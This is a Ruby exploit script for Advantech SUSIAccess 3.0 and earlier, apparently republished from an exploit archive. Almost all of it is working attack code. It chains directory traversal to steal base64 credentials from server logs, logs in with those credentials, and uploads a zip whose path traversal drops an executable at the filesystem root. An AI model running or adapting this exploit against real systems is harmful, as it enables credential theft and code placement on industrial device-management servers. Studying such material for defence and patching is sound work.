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Advantech SUSIAccess <= 3.0 - 'RecoveryMgmt' File Upload
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来源：vfocus.net 作者：Fitts 发布时间：2017-08-02
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#! /usr/bin/env ruby
=begin
Exploit Title: Advantech SUSIAccess RecoveryMgmt File Upload
Date: 07/31/17
Exploit Author: james fitts
Vendor Homepage: http://www.advantech.com/
Version: Advantech SUSIAccess <= 3.0
Tested on: Windows 7 SP1
Relavant Advisories:
ZDI-16-630
ZDI-16-628
CVE-2016-9349
CVE-2016-9351
BID-94629
ICSA-16-336-04
Notes:
This PoC will upload AcronisInstaller.exe to the root of C:\
You can modify this to drop files where ever you want on the
filesystem.
By default the script will use the directory traversal vuln
to pull down the log files and parse for the base64 encoded
credentials. Once it has that, it will use them to log into
the application and upload the malicious zip file.
=end
require 'mime/types'
require 'fileutils'
require 'net/http'
require 'nokogiri'
require 'base64'
require 'digest'
require 'date'
require 'uri'
require 'zip'
def uploadZip(target, creds, cookies)
uri = URI("http://#{target}:8080/webresources/RecoveryMgmt/upload")
bound = "AaBbCcDdEe"
path = Dir.pwd
zipfile = "#{path}/update.zip"
post_data = []
post_data << "--#{bound}\r\n"
post_data << "Content-Disposition: form-data; name=\"frmUpdateSetting_Acronis_LastUpdateName\""
post_data << "\r\n\r\n\r\n"
post_data << "--#{bound}\r\n"
post_data << "Content-Disposition: form-data; name=\"frmUpdateSetting_Acronis_UploadFileFullName\""
post_data << "\r\n\r\nupdate.zip\r\n"
post_data << "--#{bound}\r\n"
post_data << "Content-Disposition: form-data; name=\"frmUpdateSetting_Acronis_Content\""
post_data << "\r\n\r\n"
post_data << "<request Authorization=\"#{creds[0].to_s}\"/>\r\n"
post_data << "--#{bound}\r\n"
post_data << "Content-Disposition: form-data; name=\"frmUpdateSetting_Acronis_FileInput\"; filename=\"update.zip\""
post_data << "\r\nContent-Type: application/zip"
post_data << "\r\n\r\n"
post_data << File.read(zipfile)
post_data << "\r\n\r\n--#{bound}--\r\n"
req = Net::HTTP::Post.new(uri, initheader = {
'Cookie' => cookies,
'Authorization' => "Basic #{creds[0].to_s}",
'X-Requested-With' => "XMLHttpRequest",
'Content-Type' => "multipart/form-data; boundary=#{bound}",
'User-Agent' => "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
'Accept-Language' => "en-US,en;q=0.5",
'Accept' => "text/plain, */*; q=0.01",
'Connection' => "close"
})
req.body = post_data.join
http = Net::HTTP.new("#{target}", 8080)
res = http.start {|http| http.request(req)}
if res.code =~ /200/
puts "[+] Upload successful!"
end
end
def craftZip(target, payload)
path = "../../../../../../../../../../Program%20Files\\Advantech\\SUSIAccess%203.0%20Server\\Setting.xml"
uri = URI("http://#{target}:8080/downloadCSV.jsp?file=#{path}")
res = Net::HTTP.get_response(uri)
xml = Nokogiri::XML(res.body)
ver = xml.xpath('//setting/Configuration/ThridParty/Acronis/version').to_s.split("=")[1].split("\"")[1]
kern_ver = xml.xpath('//setting/Configuration/ThridParty/Acronis/kernal_version').to_s.split("=")[1].split("\"")[1]
# version information doesn't matter
# the application will still extract the zip
# file regardless of whether or not its
# a greater version or lesser
f = File.open("LatestVersion.txt", 'w')
f.puts("Installer Version: #{ver}\r\nApplication Version: #{kern_ver}")
f.close
f = File.open("md5.txt", 'w')
md5 = Digest::MD5.hexdigest(File.read("AcronisInstaller.exe"))
f.puts md5
f.close
path = Dir.pwd
zipfile = "#{path}/update.zip"
if File.exist?(zipfile)
FileUtils.rm(zipfile)
end
files = ["AcronisInstaller.exe", "LatestVersion.txt", "md5.txt"]
levels = "../" * 10
Zip::File.open(zipfile, Zip::File::CREATE) do |zip|
files.each do |fname|
if fname == "AcronisInstaller.exe"
zip.add("#{levels}#{fname}", fname)
end
zip.add(fname, fname)
end
end
if File.exist?(zipfile)
puts "[!] Malicious zip created successfully"
end
end
def doLogin(target, creds)
formattedDate = DateTime.now.strftime("%a %b %d %Y %H:%M:%S GMT-0400 (EDT)")
formattedDate = URI::encode(formattedDate)
uri = URI("http://#{target}:8080/frmServer.jsp?d=#{formattedDate}")
res = Net::HTTP.get_response(uri)
jsessid = res.header['Set-Cookie'].split(';')[0]
cookies = "deviceType=pc; log4jq=OFF; selectedLang=en_US; #{jsessid}"
uname = Base64.decode64(creds[0].to_s).split(":")[0]
pass = Base64.decode64(creds[0].to_s).split(":")[1]
data = "<request Authorization=\"#{creds[0].to_s}\">"
data << "<item name=\"username\" value=\"#{uname}\"/>"
data << "<item name=\"password\" value=\"#{pass}\"/>"
data << "</request>"
puts "[+] Attempting login with pilfered credentials now"
uri = URI("http://#{target}:8080/webresources/AccountMgmt/Login")
req = Net::HTTP::Post.new(uri, initheader = {
'Content-Type' => "application/xml",
'Cookies' => cookies,
'Authorization' => "Basic #{creds[0].to_s}",
'X-Requested-With' => 'XMLHttpRequest'
})
req.body = data
http = Net::HTTP.new("#{target}", 8080)
res = http.start {|http| http.request(req)}
if res.body =~ /<result><role name/
puts "[+] Login successful!"
return cookies
else
puts "[-] Something went wrong..."
end
end
def getCreds(target)
cnt = 1
d = Date.today
d.strftime("%y-%m-%d")
creds = []
while cnt < 31
fdate = d - cnt
cnt += 1
path = "../../../../../../../../../../Program Files\\Apache Software Foundation\\logs\\"
file = "localhost_access_log.#{fdate}.txt"
full_path = path + file
uri = URI("http://#{target}:8080/downloadCSV.jsp?file=#{full_path}")
res = Net::HTTP.get_response(uri)
if res.code =~ /200/
creds << res.body.scan(/(?<=Authorization=%22)[A-Za-z0-9=]+/)
end
end
return creds.flatten.uniq
end
##
# Main
##
if ARGV.length != 1
puts "Usage:\r\n\truby #{$0} [TARGET IP]"
else
target = ARGV[0]
payload = "AcronisInstaller.exe"
puts "[+] Extracting credentials now..."
credentials = getCreds(target)
if credentials.length > 0
puts "[!] Credentials found!"
cookies = doLogin(target, credentials)
puts "[+] Crafting malicious zip now..."
craftZip(target, payload)
uploadZip(target, credentials, cookies)
else
puts "[-] Credentials not found.. Try searching for more log files.."
exit
end
end
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